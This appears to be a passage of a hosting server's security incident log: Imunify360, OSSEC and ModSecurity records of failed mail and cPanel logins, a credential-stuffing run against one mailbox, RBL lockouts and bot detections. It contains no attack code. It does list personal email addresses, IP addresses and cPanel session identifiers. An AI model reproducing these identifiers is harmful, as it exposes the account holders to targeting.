# incident

plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 119.8.125.156
country_id: 1819730
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:le-systeme-informatise-dinformation-sur-lenergie-au-togo-officiellement-lance/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.229.46.153
country_id: 2661886
description:
2026-06-08 21:58:09 dovecot_login authenticator failed for H=c-85-229-46-153.bbcust.telenor.se ([182.95.60.106]) [85.229.46.153]:46414: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.72.74.162
country_id: 6252001
description:
Jun  8 21:57:31 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.72.74.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.229.46.153
country_id: 2661886
description:
Jun  8 21:58:07 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.229.46.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.212.225.99
country_id: 1835841
description:
Jun  8 21:59:04 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.212.225.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-06-08 21:59:06 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:58918: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-06-08 22:00:00 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:55646: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.33.204.130
country_id: 2017370
description:
Jun  8 21:59:14 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.33.204.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-06-08 21:59:16 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:36666: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-08 22:04:59 +0000] info [cpaneld] 165.22.212.32 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.160.166.161
country_id: 1835841
description:
Jun  8 22:05:25 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.160.166.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-06-08 22:05:27 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:42156: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-08 22:06:17 +0000] info [cpaneld] 165.22.212.32 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.98.206
country_id: 1880251
description:
Jun  8 22:07:55 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.98.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.216.81.126
country_id: 49518
description:
Jun  8 22:09:54 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.216.81.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-06-08 22:09:56 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:50442: 535 Incorrect authentication data (set_id=marketing@togosem.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.175.56
country_id: 2363686
description:
[2026-06-08 22:10:28 +0000] info [cpaneld] 102.64.175.56 - uljcqiuy "GET /cpsess5159750036/frontend/jupiter/security/tls_status/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [102.64.169.98] != Current IP Address [102.64.175.56]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun  8 22:10:31 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-06-08 22:10:33 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:46754: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-13.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.109.178
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-13.163.198.109.178||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.178
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.109.178||TA:163.198.109.178||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your Strong Funds sepoladi.blogspot.ie SB||Email:pjtdouwland@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.205.11.22
country_id: 6252001
domain: api.butodra.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-08 22:15:24 +0000] info [cpaneld] 217.217.253.159 - oegrazwu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user oegrazwu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.41.51
country_id: 6252001
description:
[2026-06-08 22:17:35 +0000] info [cpaneld] 104.207.41.51 - wara.wara.awadi@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.120
country_id: 3175395
description:
Jun  8 22:18:24 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.120 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.90.255.204
country_id: 3686110
description:
[2026-06-08 22:18:56 +0000] info [whostmgrd] 190.90.255.204 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.205.11.22
country_id: 6252001
domain: anamek.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 174.75.211.193
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:174.75.211.193||TA:174.75.211.193||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.112.70.55
country_id: 2750405
description:
2026-06-08 22:21:56 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [103.112.70.55]:57368: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.101.137
country_id: 3625428
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/www.nsiassurancestogo.com HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.23
country_id: 3175395
description:
2026-06-08 22:22:33 dovecot_plain authenticator failed for H=vm705.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.23]:52686: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 181.208.101.137
country_id: 3625428
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.nsiassurancestogo.com||User:egjvuiox||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.237.207.223
country_id: 1668284
description:
2026-06-08 22:22:50 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [85.237.207.223]:29538: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.139.11.69
country_id: 2921044
description:
2026-06-08 22:23:52 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [213.139.11.69]:39682: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.244.47.104
country_id: 6252001
description:
[2026-06-08 22:23:45 +0000] info [whostmgrd] 72.244.47.104 - ecommerce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.79
country_id: 3175395
description:
2026-06-08 22:24:05 dovecot_plain authenticator failed for H=vm1237.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.79]:42296: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.229.191.52
country_id: 2750405
description:
2026-06-08 22:23:12 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [185.229.191.52]:41726: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.120.93.242
country_id: 2921044
description:
2026-06-08 22:23:24 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [87.120.93.242]:24538: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.245.52.232
country_id: 2963597
description:
2026-06-08 22:23:38 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [172.245.52.232]:58516: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.154.180.50
country_id: 1835841
description:
2026-06-08 22:24:24 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [121.154.180.50]:43920: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.27
country_id: 3175395
description:
2026-06-08 22:24:40 dovecot_plain authenticator failed for H=vm777.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.27]:37178: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.110.113
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.110.113||TA:163.198.110.113||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.79
country_id: 3175395
description:
2026-06-08 22:24:11 dovecot_login authenticator failed for H=vm1237.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.79]:42296: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.101
country_id: 3175395
description:
2026-06-08 22:24:51 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.113.101]:52218: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.8.121
country_id: 1819730
description:
2026-06-08 22:26:07 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [103.107.8.121]:45934: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.23.222.99
country_id: 6252001
description:
2026-06-08 22:25:40 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [193.23.222.99]:37062: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.154.98.241
country_id: 2750405
description:
2026-06-08 22:25:51 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [45.154.98.241]:51126: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.20
country_id: 3175395
description:
2026-06-08 22:26:21 dovecot_plain authenticator failed for H=vm795.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.20]:33504: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.146.61.24
country_id: 2782113
description:
[2026-06-08 22:26:42 +0000] info [cpaneld] 156.146.61.24 - bilirando "GET /login/?user=bilirando&pass=__HIDDEN__ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.217.99
country_id: 2921044
description:
2026-06-08 22:27:06 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.217.99]:46618: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.8.121
country_id: 1819730
description:
2026-06-08 22:26:14 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [103.107.8.121]:45934: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.193.90.145
country_id: 2017370
description:
2026-06-08 22:28:10 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [185.193.90.145]:54964: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.217.99
country_id: 2921044
description:
2026-06-08 22:27:13 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.217.99]:46618: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.251.222
country_id: 6251999
description:
[2026-06-08 22:29:08 +0000] info [cpaneld] 216.26.251.222 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.193.90.145
country_id: 2017370
description:
2026-06-08 22:28:17 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [185.193.90.145]:54964: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.217.99
country_id: 2921044
description:
2026-06-08 22:28:22 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.217.99]:51438: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.251.246
country_id: 6252001
description:
2026-06-08 22:28:36 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [149.34.251.246]:11730: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.195.203.247
country_id: 3017382
description:
2026-06-08 22:28:48 dovecot_plain authenticator failed for H=vps-641a72d2.vps.ovh.net (185-224-215-184.netherlands-3.vps.ac) [51.195.203.247]:58964: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.175.56
country_id: 2363686
description:
[2026-06-08 22:29:13 +0000] info [cpaneld] 102.64.175.56 NEW uljcqiuy:tSb2LpDzgvbZE9wt address=102.64.175.56,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:66pJOmPZapc5H4P_:create_user_session,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.96.152.83
country_id: 6251999
description:
2026-06-08 22:29:43 dovecot_plain authenticator failed for H=ec2-3-96-152-83.ca-central-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [3.96.152.83]:40952: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.224.78.8
country_id: 1819730
description:
2026-06-08 22:29:14 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [156.224.78.8]:56818: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.96.132.125
country_id: 2510769
description:
2026-06-08 22:29:55 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [195.96.132.125]:46872: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.15.152.73
country_id: 146669
description:
2026-06-08 22:30:06 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [45.15.152.73]:45220: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 132.145.89.30
country_id: 1835841
description:
2026-06-08 22:31:04 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [132.145.89.30]:50206: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.235
country_id: 2750405
description:
2026-06-08 22:30:20 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [193.29.139.235]:15982: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.15.152.73
country_id: 146669
description:
2026-06-08 22:30:13 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [45.15.152.73]:45220: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.235
country_id: 2750405
description:
Jun  8 22:30:18 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 132.145.89.30
country_id: 1835841
description:
2026-06-08 22:31:12 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [132.145.89.30]:50206: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.59.36.107
country_id: 1210997
description:
2026-06-08 22:31:40 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.59.36.107]:45422: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.75
country_id: 3175395
description:
2026-06-08 22:31:16 dovecot_plain authenticator failed for H=vm1255.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.75]:45684: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.75.168.50
country_id: 3017382
description:
2026-06-08 22:31:28 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [51.75.168.50]:34784: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 156.146.61.24
country_id: 2782113
description:
[2026-06-08 22:31:55 +0000] info [cpaneld] 156.146.61.24 NEW gsizyncj:drxPA0CQvmk2Z83p address=156.146.61.24,app=cpaneld,creator=gsizyncj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.196.35.26
country_id: 3017382
description:
2026-06-08 22:31:51 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [196.196.35.26]:15336: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.181.133.97
country_id: 6252001
description:
2026-06-08 22:32:03 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [108.181.133.97]:59294: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.156.198.218
country_id: 1880251
description:
124.156.198.218 - - [08/Jun/2026:22:32:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788551&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-la-police-nationale-interpelle-un-reseau-de-presumes-braqueurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780957937 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.156.198.218


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 54.169.248.107
country_id: 1880251
description:
2026-06-08 22:32:32 dovecot_plain authenticator failed for H=ec2-54-169-248-107.ap-southeast-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [54.169.248.107]:61754: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.92
country_id: 3175395
description:
2026-06-08 22:32:45 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.113.92]:57420: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.250.87.138
country_id: 2542007
description:
2026-06-08 22:34:38 dovecot_plain authenticator failed for H=(5bxeaqoxhwgdynktmo) [41.250.87.138]:45987: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.107.197.152
country_id: 2077456
description:
103.107.197.152 - - [08/Jun/2026:22:34:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065766&pdata=https%253A%252F%252Fwww.gls.devbase.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780958074 HTTP/2.0" 302 0 www.gls.devbase.tg "https://www.gls.devbase.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.107.197.152


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 43.130.38.235
country_id: 6252001
domain: hotelyabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.159 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.26
country_id: 690791
description:
Jun  8 22:35:17 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.26 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-08 22:36:16 +0000] info [cpaneld] 102.54.238.57 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.221.14.168
country_id: 6252001
domain: app.cfmi.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-37.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your Fantastic Member Bonus eropolik.blogspot.pt 5k||Email:musahaliillela21@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.79
country_id: 2395170
description:
Jun  8 22:38:18 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.104.100
country_id: 798544
description:
Jun  8 22:39:49 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.104.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 96.0.0.241
country_id: 2077456
description:
[2026-06-08 22:39:52 +0000] info [cpaneld] 96.0.0.241 - gsizyncj "GET /cpsess7797431391/frontend/jupiter/filemanager/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [156.146.61.24] != Current IP Address [96.0.0.241]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.118.57.87
country_id: 3573591
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/06/Thierno-Habib-Hann-MD-SHAFDB-1-scaled.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.61.34
country_id: 6251999
description:
[2026-06-08 22:42:56 +0000] info [cpaneld] 104.207.61.34 - prince "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user prince (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.52.23
country_id: 2635167
description:
[2026-06-08 22:43:18 +0000] info [cpaneld] 104.207.52.23 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.128.134.82
country_id: 3017382
description:
Jun  8 22:43:59 ns5 pure-ftpd[96546]: (?@45.128.134.82) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.235.104.254
country_id: 1861060
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/06/Grands-Lacs-Lome-consolide-la-centralite-de-la-mediation-africaine-248x300.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.50.241.148
country_id: 690791
domain: togodailynews.tg
description:
